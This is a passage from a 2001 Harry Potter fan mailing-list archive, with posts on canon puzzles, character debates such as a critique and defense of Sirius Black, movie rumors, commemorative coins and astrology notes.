--- UcfRentLuvr at cs.com wrote:
> The Get Fuzzy comic strip strikes again.  If you go
> to http://comics.com  and look under the comic Get
> Fuzzy, look at the Sept. 6 and 7 comics. They both
> mention Harry Potter.  The person who does this
> strip has mentioned Harry Potter before too.   I
> believe one of the past strips is in the files
> section of this group under humor.  Check'em out.
> They're funny. 8)
> 
> ***Dixie Malfoy***
> 
> 
> 


__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From heidi.h.tandy.c92 at alumni.upenn.edu  Sat Sep  8 02:46:22 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Fri, 7 Sep 2001 22:46:22 EDT
Subject: [HPforGrownups] SHIP: Love triangle?
Message-ID: <3d.10fe1855.28cae07e@aol.com>

No: HPFGUIDX 25743

In a message dated 9/7/01 9:14:04 PM Eastern Daylight Time, 
pennylin at swbell.net writes:


> That is: Ron likes Hermione, who likes 
> Harry, who likes no one or someone else outside the Trio.  As I said 
> sometime recently, I become more & more convinced of this the more I 
> think about it.  


I was actually thinking about Harry and Hermione today- more or less as a 
result of the recent "howl" discussions, and I realized a few things which 
may or may not be important.
First - background - most boys with normal upbringings have been hugged and 
kissed by girls&women at least on occasion, by the time they are 11, going on 
12. By mom, sisters, aunts, grandmothers, the annoying great aunt who pinches 
cheeks. 
In his conscious memory, Harry has not. Never. 
The first hug he can remember is en route to confront Voldemort - 
"Hermione'slip trembled, and she suddenly dashed at Harry and threw her arms 
around him."
I was also thinking that the first kiss he ever has was also from Hermione at 
the end of GoF, but he was actually kissed by all 3 chasers during PoA, when 
they win the match against ravenclaw, so there goes that argument. 
But I do think that the fact that Hermione is the first person who hugs him 
must have some import in his life. 


[Non-text portions of this message have been removed]




From captain_debrowe at yahoo.com  Sat Sep  8 03:18:02 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Fri, 7 Sep 2001 20:18:02 -0700 (PDT)
Subject: More Astrology  was  Re: Mars
In-Reply-To: <9nbioj+1ma5@eGroups.com>
Message-ID: <20010908031802.77116.qmail@web14401.mail.yahoo.com>

No: HPFGUIDX 25744

Actually Barb believe it or not it's condensed from my
original notes for a astrology class that I was taking
at a junior college.  So it was actually both, first
typed in by hand then copy and pasted from my files to
here.  That said I'm afraid I will have to correct
something real quick.  Neptune is NOT the god of death
and the underworld.  Pluto/Hades was.  This one is
shorter but covers both planets/gods and their major
influences.

Neptune, in Roman religion and mythology, god of
water. He was presumably an indigenous god of
fertility, but in later times he was identified with
the Greek Poseidon, god of the sea. At his festival,
the Neptunalia (July 23), arbors were dedicated to
him.  Poseidon , in Greek religion and mythology, god
of the sea, protector of all waters. After the fall of
the Titans, Poseidon was allotted the sea. He was
worshiped especially in connection with navigation;
but as the god of fresh waters he also was worshiped
as a fertility god. In Thessaly and other areas he was
important as Hippios, god of horses, and was the
father of Pegasus. Poseidon was represented as
extremely powerful, with a violent and vengeful
disposition. He carried the trident, with which he
could split boulders and cause earthquakes. When
Laomedon failed to pay him for building the walls of
Troy, Poseidon sent a sea monster to ravage the Troad
and years later vengefully assisted the Greeks in the
Trojan War. His grudge against Odysseus is one of the
themes of the Odyssey. He was the husband of
Amphitrite, who bore him Triton, and by others he
fathered many more sons, who usually turned out to be
strong, brutal men (like Orion) or monsters (like
Polyphemus). The Romans identified him with Neptune.

PISCES: Pisces is associated with the element of
water, yin energy, negative polarity, the planet
Neptune, the feet and lymph glands, Friday, the
numbers two and six, the colors aquamarine and pale
green, fig and willow trees, platinum, and fish. 

Neptune: Visionary Dreamer
Neptune was discovered in 1846, after studies of the
irregularities in Uranus' orbit suggested that these
must be caused by the existence of an unknown planet.
Slightly larger than Uranus, Neptune takes 165 years
to travel around the Sun, from which it lies 4497
million kilometres. Neptune has two satellites, Triton
and Nereid. Triton, which orbits Neptune every six
days, is one of the largest Moons in the solar system.
In mythology, Neptune inherited his rulership of the
sea from the Greek god Poseidon - Neptune also looks
after lakes, rivers and pools. Water horses draw his
chariot, and he has a palace in the depths of the
ocean. It is said that Neptune transformed himself
into a stallion to court the beautiful mare Demeter -
perhaps this explains why Neptune is also said to rule
horse-racing!
Astrologically speaking, Neptune rules Pisces, that
most watery of signs, and is very much concerned with
the arts - music, poetry, dancing and so forth.
Positively expressed, Neptune provides the idealism
and vision in a natal chart, as well as imagination
and sensitivity. When afflicted, however, Neptune
contributes confusion, deceit, carelessness and
gullibility.
Because Neptune stays in one zodiac sign for
approximately 14 years, it is another of the planets,
like Uranus, which has a 'generation effect'.
Currently, no-one living can possibly have Neptune in
Pisces, Aries or Taurus. Neptune entered Aquarius late
in 1998, so babies born since then are our first
experience of how Neptune will act through this Uranus
ruled sign. We will be coming back to the generation
influence in future lessons, and we will then discuss
the influence of Neptune through the signs. However,
in natal astrology, unless Neptune is very powerfully
placed, we tend to concentrate far more on the house
position (individual to each person depending upon the
degree of their Ascendant Sign), and so that is what
we will be doing in this lesson.




Pluto, in Greek religion and mythology, god of the
underworld, son of Kronos and Rhea; also called Hades.
After the fall of the Titans, Pluto and his brothers
Zeus and Poseidon divided the universe, and Pluto was
awarded everything underground. There, with Persephone
as his queen, he ruled over Hades. Not only a god of
the dead, he is identified as a god of the earth's
fertility. The Romans derived their god of the
deadOrcus, Dis, or Dis Paterfrom Pluto.  Hades , in
Greek and Roman religion and mythology. 1. The ruler
of the underworld. 2. The world of the dead, ruled by
Pluto and Persephone, located either underground or in
the far west beyond the inhabited regions. It was
separated from the land of the living by the rivers
Styx [hateful], Lethe [forgetfulness], Acheron
[woeful], Phlegethon [fiery], and Cocytus [wailing].
The newly arrived dead were ferried across the Styx by
the avaricious old ferryman Charon, whom they paid
with the coin that was placed in their mouths when
they were buried. Unauthorized spirits who tried to
enter or leave Hades were challenged by the fearful
dog Cerberus. The honey cake that the Greeks buried
with the dead was intended to quiet him. All the dead
drank of the river of forgetfulness. The judges of the
deadMinos, Aeacus, and Rhadamanthusassigned to each
soul its appropriate abode. The virtuous and the
heroic were rewarded in the Elysian fields; wrongdoers
were sent to Tartarus; and most wandered as dull
shadows among fields of asphodel.

SCORPIO: Scorpio is associated with the element of
water, yin energy, negative polarity, the planet
Pluto, the sexual organs, Tuesday, the numbers two and
four, topaz, all dark shades of red, blackthorn trees,
plutonium, scorpions, and insects.

Pluto: Transformation & Change
Pluto was first seen by Clyde Tombaugh in 1930,
although astronomer Percival Lowell had previously
assumed that the planet existed on the basis of his
mathematical calculations. Roughly 3000 miles in
diameter, the planet's orbit is 17 degrees inclined to
the ecliptic, and it is some 3600 million miles from
the sun. Pluto completes an orbit of the sun once
every 248 years, and is therefore the third and final
planet that forms a 'generation effect' in the natal
chart. It's orbit is somewhat erratic, however, and
brings it very close to a collision with Neptune -
although an actual collision is thought highly
unlikely. So far, much about Pluto remains mysterious,
as no space probes have yet been able to reach it.
In astrology, Pluto is known as the planet of
transformation and change. Pluto was an agricultural
God who ruled over the underworld - it was to his land
of death beyond the river Styx that every living
creature was eventually transported. Pluto often wore
a helmet which rendered him invisible, and (probably
helped by the helmet!) was known as being a great
seducer. The planet that bears his name rules the sign
of Scorpio, and is connected with the sexual organs
and human reproduction. It is also concerned with with
the unconscious buried emotions, however, and whilst
it can encourage us to overcome obstacles, it can also
make us sly, critical, secretive, cruel.

Okay it was still a bit long but I hope it clears up
the confusion.

Danette

--- blpurdom at yahoo.com wrote:
> Yes, it's probably just that simple, as JKR
> professes to be leery of 
> astrology.  (Goodness, Danette, did you type out all
> that material 
> about Mars from memory, or cut and paste?)  
> 
> However, no one mentioned Neptune and its
> significance, which I 
> believe in this scene is as straightforward as Mars
> being the god of 
> war.  Neptune is the god of death and the
> underworld.  Trelawney 
> highlighting both Mars and Neptune means that she is
> implying that 
> both war and death are coming.  Which I suppose
> makes this another 
> possibly correct prediction of hers, but it's about
> as difficult as 
> predicting that the sun will rise tomorrow morning
> (for fans of The 
> Little Prince).  
> 
> --Barb


__________________________________________________
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From cynthiaanncoe at home.com  Sat Sep  8 03:42:11 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 08 Sep 2001 03:42:11 -0000
Subject: Priori Incantantem/Deletrius
Message-ID: <9nc42j+ultp@eGroups.com>

No: HPFGUIDX 25745

I was reading the Lexicon (again!) and something about the wand order 
mystery occured to me.  The Lexicon raises the issue of whether V 
must have tried to kill Harry before killing James and Lily based on 
the wand order in GoF, because the spell that rebounded onto V didn't 
come out of V's wand in the graveyard scene.

I was wondering whether priori incantantem causes the wand to 
regurgitate all past spells, or only all *successful*  spells.  
In "The Dark Mark", Amos Diggory uses "Prior Incantato" to 
discover "the last spell a wand performed."  Dumbledore uses the same 
description in "The Parting of the Ways":  the wand will 
regurgitate "spells it has performed."  Dumbledore also says that V's 
wand would have regurgitated "the last *murders* the wand 
performed."  So would a "failed" spell like the one used on Harry be 
considered a spell that was "performed" such that it would be 
regurgitated?  It certainly didn't result in a murder, as Harry 
lived.  If not, then the "wand order scene" is entirely consistent 
with the sequence that V killed James, then Lily, then failed to kill 
Harry.

Also, in the Dark Mark, Amos Diggory makes the ghost spell vanish "in 
a wisp of smoke" by saying "Deletrius."  So in the graveyard, why 
doesn't Voldemort just say "Deletrius" to make Cedric, Lily, James 
and the other ghosts disappear in a "wisp of smoke?"  Is Voldemort, 
powerful wizard and former head boy, such a poor study that he 
doesn't remember "Deletrius" when someone like Amos Diggory does?  

Cindy (who thinks Voldemort might wish to consider a refresher course 
in world domination)




From jkusalavagemd at yahoo.com  Sat Sep  8 03:47:13 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sat, 08 Sep 2001 03:47:13 -0000
Subject: Harry Potter money?
In-Reply-To: <3B9978F0.F9126F10@texas.net>
Message-ID: <9nc4c1+ur6k@eGroups.com>

No: HPFGUIDX 25746

--- In HPforGrownups at y..., Amanda Lewanski <editor at t...> wrote:
> I am amazed that I've seen nothing about this on the list. I heard 
on
> the radio morning news today, during my predawn drive to drop 
Michael
> off and justify my existence by earning some money, that the British
> government has released some coin, I missed the denomination, with 
Harry
> Potter on it (maybe not him specifically). You Brits, what's going 
on?

> 
> --Amanda, curious and wanting one

The coins are minted for the Isle of Man, one of the Channel islands, 
and they are legal tender there, although they are sold for much more 
than their face value.  There are three coins, one gold, one silver 
and one copper (or some alloy thereof). Harry Potter is on one side 
(He looks pretty good) and Queen Elizabeth II is on the other.  You 
can follow a link on Empire Online to a story about it.  I am sure 
that commercial coin dealers can obtain them for you.

Haggridd 




From Rasbswrlgirl at aol.com  Sat Sep  8 04:07:36 2001
From: Rasbswrlgirl at aol.com (Rasbswrlgirl at aol.com)
Date: Sat, 8 Sep 2001 00:07:36 EDT
Subject: Vanity Faire
Message-ID: <144.13b6465.28caf388@aol.com>

No: HPFGUIDX 25747

Hi 

Has anyone checked the October issue of Vanity Faire? It has Harry on the 
front flying his broom.   The article is pretty good, but I really liked the 
layout, the pictures are great! check it out!   

Swirl Girl  :-P


[Non-text portions of this message have been removed]




From caliburncy at yahoo.com  Sat Sep  8 04:12:49 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 08 Sep 2001 04:12:49 -0000
Subject: Marauders' Houses
In-Reply-To: <9nbve8+d750@eGroups.com>
Message-ID: <9nc5s1+jinp@eGroups.com>

No: HPFGUIDX 25748

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., KayandJay1 at M... wrote:
> > Remus - Gryffindor ( fact) see it here at the bottom of page 
> > http://www.i2k.com/~svderark/lexicon/lupin.html

> What is the basis for saying Remus is in Gryffindor?  I don't recall 
> anything in canon about that?
> 
> Cindy

While I bow to Steve Vander Ark's far superior knowledge of canon, I'm 
pretty sure it's not proven fact.  There are hints, but not conclusive 
evidence that I can recall.

For example, in PoA, Chap 12 (P. 246-American hardcover), Lupin says 
"Well--let's drink to a Gryffindor victory against Ravenclaw!  Not 
that I'm supposed to take sides, as a teacher . . ."  This is good 
reason to believe he may have been in Gryffindor, but it is also 
possible he was not and said this only for Harry's sake rather 
than any house alumnus spirit.

I still imagine he and the rest of the Marauders were all in 
Gryffindor but find alternate house speculation both refreshing and 
interesting.  It would be nice for JKR to give some more recognition 
to the Hufflepuff and Ravenclaw houses, but I can see where doing so 
would cause some minor logistical writing issues as well.

-Luke




From bkdelong at pobox.com  Sat Sep  8 04:32:16 2001
From: bkdelong at pobox.com (B.K. DeLong)
Date: Sat, 08 Sep 2001 00:32:16 -0400
Subject: Vanity Fair pics and Entertainment Weekly article now ONLINE
In-Reply-To: <144.13b6465.28caf388@aol.com>
Message-ID: <5.0.2.1.2.20010908003100.04b0fcf0@brain-stream.com>

No: HPFGUIDX 25749

http://www.the-leaky-cauldron.org/2001_09_02_archive.html#5552909

'Nuff said

Kudos to The Spellbinder (http://www.thespellbinder.com)


--
B.K. DeLong
bkdelong at pobox.com
617.877.3271

http://www.brain-stream.com               Play.
http://www.the-leaky-cauldron.org        Potter.
http://www.attrition.org                       Security.
http://www.artemisiabotanicals.com     Herb.




From caliburncy at yahoo.com  Sat Sep  8 05:20:51 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 08 Sep 2001 05:20:51 -0000
Subject: MOVIE: The Norbert escapade
Message-ID: <9nc9rj+d5rc@eGroups.com>

No: HPFGUIDX 25750

Since this was just recently being wondered about:

The new Entertainment Weekly article seems to give further reason to 
believe the Norbert scenes will make it to the movie.  In describing 
what special effects companies were working on what it said, "Rhythm & 
Hues (Cats and Dogs) is raising Hagrid's illegally bred pet dragon" . 
. . but then it went on to say: "And as these companies finish their 
shots, Columbus will, ironically, have to decide whether or not to cut 
them . . . a recent edit clocked in at about four hours".

Looks like they've got a lot of snipping to do, so they still might 
take Norbert out in favor of more critical scenes.  I hope not, as I 
might enjoy seeing Robbie Coltrane blubbering wildly, who knows?  Then 
again that has a lot of potential to be a bad acting moment too.

We shall see.

-Luke




From catlady at wicca.net  Sat Sep  8 05:36:09 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 08 Sep 2001 05:36:09 -0000
Subject: Death Eaters (was: Azkaban and wizard prisons/wizard lawyers
In-Reply-To: <006601c13714$1a55f8c0$8ec71bce@hppav>
Message-ID: <9ncao9+3j1t@eGroups.com>

No: HPFGUIDX 25751

--- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:

> I thought it was an honestly iffy question whether Bagman was or
> was not an actual DE.  I wonder what would have happened if the 
> court had received a sworn statement from Voldemort 

Is there anything in wizarding law that stipulates that oaths sworn 
by Evil Wizards and Lords of Lies are worthless?

> to the effect:  "No, Bagman is _not_ a Death Eater.  Death Eaters, 
> after all, are the _elite,_ 

Elite like Crabbe Sr and Goyle Sr?

>  Kindly do not insult me this way again, unless you fancy spending 
> the rest of your lives on lily pads.  Yours with utter contempt,
> LORD VOLDEMORT."

btw LOL 




From katzefan at yahoo.com  Sat Sep  8 07:25:00 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Sat, 08 Sep 2001 07:25:00 -0000
Subject: Snape - missing DEs - chat
Message-ID: <9nch4c+ma8k@eGroups.com>

No: HPFGUIDX 25752

OK, now I know what L.O.O.N is; please what is C.R.A.B.?
----------------
For some reason I thought Vanity Fair wouldn't be out till today 
(Saturday). John Walton: your vivid descriptions nearly sent me 
racing out the door to buy the magazine ... at 2:30 in the morning.
-------------------
From:??lady.nymphaea at f...

>...One of the things that bothers me about the series (not 
>enough to make me quit reading, but HP is not my favorite 
>series by half) is that most of the adults behave just as childish 
>as the children; the wizarding world is a caricature of our world. 
>Great touch in a kiddie series, to make the kids think they have 
>one up on their elders, but not so good for the adult reader.
...
>I don't have any idea *why* Dumbledore lets Snape behave the 
>way he does....Put it this way: Snape is an ass, but the fact that 
>Dumbledore keeps him around bothers me just as much as 
>his antisocial actions. Hopefully this will be resolved in the last 
>three books.

>Meril who really wishes she could explain herself better now


Unfortunately, an awful lot of adults *do* behave as childishly as 
children - and with far less excuse. Witness of late the sectarian 
harassment of schoolchildren in Northern Ireland - adults out 
there yelling, screaming and at least one or more tossed a 
homemade grenade. Meanwhile, in China (if the reports are to 
be believed), an 11-year-old voluntarily took the place of a six-
year-old who was being held hostage at knifepoint.
But I agree: *why* is Dumbledore is allowing this to go on? - and 
not just for 4 books but for however long Snape has been 
teaching, since there's nothing to suggest he was ever any 
better! Harry, Ron and Hermione have each other to support 
them through Snape's classes; what about some kid who 
doesn't have that, having to put up with this verbal abuse on an 
ongoing basis?

>From:??scaryfairymary at h...
>My take on it was that the one too cowardly to return was 
>Karakaroff, one who has left forever was Snape and one doing 
>Dark Lord's work was Crouch jnr. ...it does make me think...if 
>Voldemort knows that Snape has left him forever, he will see 
>that he is returning as a spy for Dumbledore and...maybe that's 
>going to be the end of Snape?? IIRC, Dumbledore watched 
>with a hint of apprehension when Snape left the room at the 
>"parting of the ways" chapter in GoF, which IMO suggests that 
>he is aware that Snape is in a lot more danger than ever before. 
>Any thoughts?
>Mary :?)

My first take was that Snape was the one Voldemort believed `too 
cowardly to return' and the one who had left forever (`he
will be killed, of course') was Karkaroff, simply because 
Karkaroff was very obviously panicked - and in fact *has* fled at 
the end of the book - while Snape was behaving pretty much as 
usual. This would have given Snape at least some chance of 
getting back into the Inner Circle, once he has `paid' for
his  alleged cowardliness. If he is the one believed to have left 
forever, it doesn't seem to offer him much of a future. 


From:??Deeblite <deeblite at h...>

>Umm.. rather than going through all of these elaborate means 
>to get a chat going, wouldn't it be easier to just use an IRC chat 
>room?  IRC is a widely accepted chat >standard that people on 
>even really old computers, or computers running operating 
>systems other than Windows or Mac, can use, so EVERYONE 
>could be included that way, and it's a heck of a lot easier than 
>this Cheetah Chat seems to be.


Except, if I understand correctly, for us Mac users ....

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

It is very unnerving to be proven wrong, particularly when you are 
really right and the person who is really wrong is the one who is 
proving you wrong and proving himself, wrongly, right. Right?

A Series of Unfortunate Events - Book the Second, The Repile 
Room, by Lemony Snicket









From pigwidgeon37 at yahoo.it  Sat Sep  8 07:27:55 2001
From: pigwidgeon37 at yahoo.it (pigwidgeon37 at yahoo.it)
Date: Sat, 08 Sep 2001 07:27:55 -0000
Subject: I've got a Sirius problem
Message-ID: <9nch9r+2b2m@eGroups.com>

No: HPFGUIDX 25753

Hallo everybody,

after a period of happy lurking (due to writing my very own fanfic 
that is threatening to become longer than GoF), I feel that I just 
have to make myself very unpopular with 90% of you, professing that I 
really got a problem with the character of Sirius Black- I'd even go 
as far as saying that I rather dislike him. Now, practically 
everybody out there is pro-Sirius and so I thought I might eventually 
bore you with my Why-Do-I-Dislike-Sirius- analysis:
I first thought it was all due to JKR's way of introducing him to us 
as a dangerous murderer, describing him as "
a sunken-faced man with 
long, matted hair
", which is enhanced by "Harry looked into the 
shadowed eyes of Sirius Black, the only part of the sunken face that 
seemed alive. Harry had never met a Vampire, but he had seen pictures 
of them in his Defence Against the Dark Arts classes and Black, with 
his waxy white skin, looked just like one." (PoA, p 45/46 of UK 
paperback ed.)
What I would have expected from myself was that, after the whole 
story about Sirius and Peter had been revealed, the image of Sirius 
would correct itself in hindsight, making everything he had done 
before fit into a pattern that became clear once  I had finished and 
re-read the book (Hope this is understandable), more or less the same 
thing that happened with Snape in PS/SS: Once you know he isn't the 
evil one, you reconsider his past actions and see them in a different 
light (He's not cursing Harry during the Quidditch match, he tried to 
get past Fluffy not to steal the stone, but to protect it etc.).
Anyway, it didn't work this way for Sirius. Why did he have to 
destroy the portrait of the Fat Lady, when she refused to let him 
into Gryffindor Tower without a password?  When he entered the boys' 
dormitory to get Scabbers, why was it necessary to slash Ron's 
bedcurtains with a knife instead of drawing them back? He had to drag 
Ron into the tunnel and to the shrieking shack, but was breaking his 
leg in the process absolutely inevitable? Hadn't Hermione kicked him, 
how far would he have gone in defending himself against Harry's 
attack in the Shrieking Shack (But Black's free hand had found 
Harry's throat- "No, he hissed, I've waited too long-" The fingers 
tightened, Harry choked, his glasses askew. ?PoA, p. 367)? 
So much for PoA, add the Conjunctivitus Curse he would have suggested 
to Harry for getting past the Hungarian Horntail (I was going to 
suggest a Conjunctivitus curse, as a dragon's eyes are its weakest 
point- GoF, p.363 UK hardcover ed.), which, according to what Ron 
tells Harry after the first task, is none too pleasant.
These are the major points that make me uneasy about Sirius: The man 
has a tendency towards violence I definitely dislike and which, IMO, 
can only partly be explained away by his twelve years in Azkaban. If 
Azkaban was an ordinary prison, where the use of brutality and 
violence is essential for surviving, we could give him credit for 
having got used to it. If his outbursts of uncontrolled rage were 
directed only against Snape and Pettigrew, it would be more than 
understandable (more for Pettigrew than for Snape, but anyway). 
So my problem with Sirius is: What damage might a person who is so 
quick-tempered and so violence-prone do during the next book(s)? His 
character makes him far too susceptible to some nice scheme concocted 
by Voldemort& Malfoy, turning him against somebody on the Good Side, 
thus seriously endangering the Old Crowd and maybe even Harry or one 
of his friends. I can see Sirius causing somebody's death and dying 
himself in some kind of repentance-induced kamikaze action, that 
would fit the picture I've formed of him.

And now, guys, feel free to put me through the shredder! I'm curious 
to hear your comments.
Susanna





From lake4fam at earthlink.net  Sat Sep  8 08:01:00 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Sat, 08 Sep 2001 08:01:00 -0000
Subject: I'm glad I'm not the only one!
Message-ID: <9ncj7s+m1rd@eGroups.com>

No: HPFGUIDX 25754

Last night I visited the Scholastic Kids' HPo site, and discovered a 
fan who admitted that he was 66.  It made me feel better about 
posting a question and putting my real age (less than 66, but STAR 
TREK debuted in my freshman year in college.)  Now here is this whole 
group of HP for Grownups, and I don't feel quite so silly.  We who 
can still enjoy Harry,(and Narnia, and Dr. Seuss, and you name it) 
have found, I think, the true Fountain of Youth.  We have a 
wellspring of joy that will insure that, while we may grow older, we 
will never grow OLD.  Thank you for this community.




From find_sam at hotmail.com  Sat Sep  8 10:45:21 2001
From: find_sam at hotmail.com (Sam Brown)
Date: Sat, 08 Sep 2001 10:45:21 -0000
Subject: James' house (was Marauders' Houses)
In-Reply-To: <DAV52BDUfdfdhNzW3l100002b1c@hotmail.com>
Message-ID: <9ncss1+hemj@eGroups.com>

No: HPFGUIDX 25755

Martin wrote:
> We know from canon that James was in Gryffindor.

Josie wrote:
> James - Gryffindor (fact)

and Cindy wrote:
> We know Potter is Gryffindor.

Sorry if I'm just missing a very obvious canon reference, but how do 
we know that James was in Gryffindor? I don't remember it ever being 
stated in the books - AFAIK the strongest evidence for James being in 
Gryffindor came from a chat with JKR, where the question: 'what 
position did James play on the Gryffindor Quidditch team' was asked, 
to which she replied, 'chaser' (I'm paraphrasing here, BTW). IMO, 
while this is strong evidence that James *was* in Gryffindor, it 
isn't conclusive evidence. The question is too roundabout - that is, 
it doesn't specifically ask what house James is in; rather, the asker 
just makes the assumption that James was a Gryffindor. Just because 
JKR doesn't refute the assumption doesn't mean it's true.

Martin wrote: 
> I wouldn't call Peter brave... this would put him on low priority 
on the Gryff and Huff lists.

I'd say that to cut off your own hand, you would have to have a lot 
of courage indeed. Of course, you could always argue that it's 
Peter's loyalty to (or, more likely, his fear of) Voldemort which 
made him do it.

Personally, I think it's likely that all four Marauders were in 
Gryffindor - not because their personalities have a definite match 
for Gryffindor, but because of JKR's propensity to put all of the 
characters into her 'favourite' house. I mean, Hagrid in Gryffindor? 
Come on...

Sam




From saitaina at wizzards.net  Sat Sep  8 11:23:55 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sat, 8 Sep 2001 04:23:55 -0700
Subject: [HPforGrownups] MOVIE: The Norbert escapade
References: <9nc9rj+d5rc@eGroups.com>
Message-ID: <003f01c13858$c03bb320$084e28d1@oemcomputer>

No: HPFGUIDX 25756

It would be stupid to cut any Norbert scene as that's where Harry, Herm, and
Neville lose all those house points which nearly guarantee's Slytherin for
the house cup thus the giant celebrating moment at the end when Dumbledore
awards them house points for their actions regarding Quirll.  While not a
critical scene it is important to fans and it would be horrible to see all
that go away.

I vote they keep every scene and have an intermission ever hour for the kids
to run around during.  Who's with me?
Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From saitaina at wizzards.net  Sat Sep  8 11:35:22 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sat, 8 Sep 2001 04:35:22 -0700
Subject: [HPforGrownups] I've got a Sirius problem
References: <9nch9r+2b2m@eGroups.com>
Message-ID: <004501c1385a$59652ee0$084e28d1@oemcomputer>

No: HPFGUIDX 25757

I do agree with you that Sirius is quick tempered and violent, but that's
just the man he is.  There are many different types of people in the Harry
Potter universe and Sirius is there for all us quick explosion/irrational
action types.  I myself have a very short fuse to my temper which leads to a
lovely explosion that dies quickly and I identify with Sirius.  I would fell
like slashing the Fat Lady too if she wouldn't let me in to kill someone who
betrayed my best friends.

My question is....why didn't Sirius think that Peter would constantly be
with Ron, as he was a pet rat and most wizards carry their small pets with
him  (ala Neville and Trevor)?  I understand he's still a bit under the
weather from Azkaban but that he kept trying for the Gryffindor tower
instead of just watching Ron, grabbing him when he went to the loo in class
(not what I meant but you understand) and removing Peter from him instead of
all this run around with the fat lady and the annoying curtains...frustrates
me to no ends.

But back to the topic at hand!  I don't think Sirius is that inclined to
violence that he would cause the death of someone, he's a bit smarter then
to fall into a trap a second time around, but his explosive tendencies may
cause him to get caught, and that's what worries me.  People with quick
tempers don't stay in the background, un noticed, we tend to be the center
of attention and that attention is something Sirius doesn't need.

Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From monika at darwin.inka.de  Sat Sep  8 11:35:48 2001
From: monika at darwin.inka.de (Monika Huebner)
Date: Sat, 8 Sep 2001 13:35:48 +0200
Subject: [HPforGrownups] I've got a Sirius problem (long!)
In-Reply-To: <9nch9r+2b2m@eGroups.com>
Message-ID: <MABBIOAJAKBIIEFEFANKCEAGCKAA.monika@darwin.inka.de>

No: HPFGUIDX 25758

> -----Original Message-----
> From: pigwidgeon37 at yahoo.it [mailto:pigwidgeon37 at yahoo.it]


> after a period of happy lurking (due to writing my very own fanfic
> that is threatening to become longer than GoF), I feel that I just
> have to make myself very unpopular with 90% of you, professing that I
> really got a problem with the character of Sirius Black- I'd even go
> as far as saying that I rather dislike him. Now, practically
> everybody out there is pro-Sirius and so I thought I might eventually
> bore you with my Why-Do-I-Dislike-Sirius- analysis:

First of all, calm down, no one is going to put you through the
shredder. ;) Being pro-Sirius doesn't mean that I overlook the
scenes you mentioned, on the contrary I think they are crucial to the
understanding of his character. To me they look both like
a plot device (to maintain his alleged vicious nature as long as
possible) and as a means to show what happens to people who
go through what he went through. A long time ago, on a snowy
Sunday morning, I posted a rather long analysis of why I believe
that Sirius is suffering from PTSD (post-traumatic stress disorder).
I won't inflict you to go through the archives, I'll rather try to
elaborate my point again. If you want to look through the archives,
search for PTSD rather than anything else, it won't give you back
hundreds of messages. The subject has also been discussed when
Carole posted her character summary back in February.
For everyone who is likely to find the following boring, hit your
delete key now, because this is going to be long. ;)

> What I would have expected from myself was that, after the whole
> story about Sirius and Peter had been revealed, the image of Sirius
> would correct itself in hindsight, making everything he had done
> before fit into a pattern that became clear once  I had finished and
> re-read the book

Well, that is exactly what happened to me, knowing his whole story
made everything understandable (not necessarily excusable, though,
I'd like to point this out, although it doesn't change my feelings for
him in the slightest way). First of all, let's look at what qualifies
as a traumatic stressor:

	From DSM-IV - American Psychiatric Association (1994)
	Diagnostic and Statistical Manual for Mental Disorders
	Fourth Edition. Washington, D.C.

	A. The person has been exposed to a traumatic event in which both the
following were present:

(1) the person experienced, witnessed or was confronted with an event or events
that involved actual or threatened death or serious injury, or a threat to the
physical integrity of self or others.
(2) the person's response involved intense fear, helplessness or horror.

Well, what Sirius saw in Godric's Hollow certainly wasn't an ordinary
event. Although he didn't see the murder of James and Lily himself,
he was confronted with the outcome of Voldemort's (and Peter's)
activities, and he certainly felt helplessness and horror. Remember that
Hagrid said that he was "white and shaking". That indicates that he
might have been in shock. Please note that people react differently
to the same events, and that what is traumatic for one person, won't
traumatize someone else. But Sirius' behavior clearly indicates that
he was greatly affected. At this point, he should have gotten help,
but didn't, so he went after Peter which led to the death of twelve
people and to his arrest. In his state of mind, this certainly didn't do
him any good, and IMO that is the main reason why he broke out in
hysterical laughter when he was led away.

PTSD is a mental disorder with a distinctive symptomatology
that differs a bit between men and woman, which has its roots
in human evolution. To put it in a rather simplistic way, men
used to fight, while women used to "flight" or "freeze" when
attacked by someone or something. When you have PTSD, you
are somehow stuck in this defense reflex after the threat is
over. So, men first try to fight, and it takes them awhile before
they freeze, although this differs from individual to individual.

> Anyway, it didn't work this way for Sirius. Why did he have to
> destroy the portrait of the Fat Lady, when she refused to let him
> into Gryffindor Tower without a password?  When he entered the boys'
> dormitory to get Scabbers, why was it necessary to slash Ron's
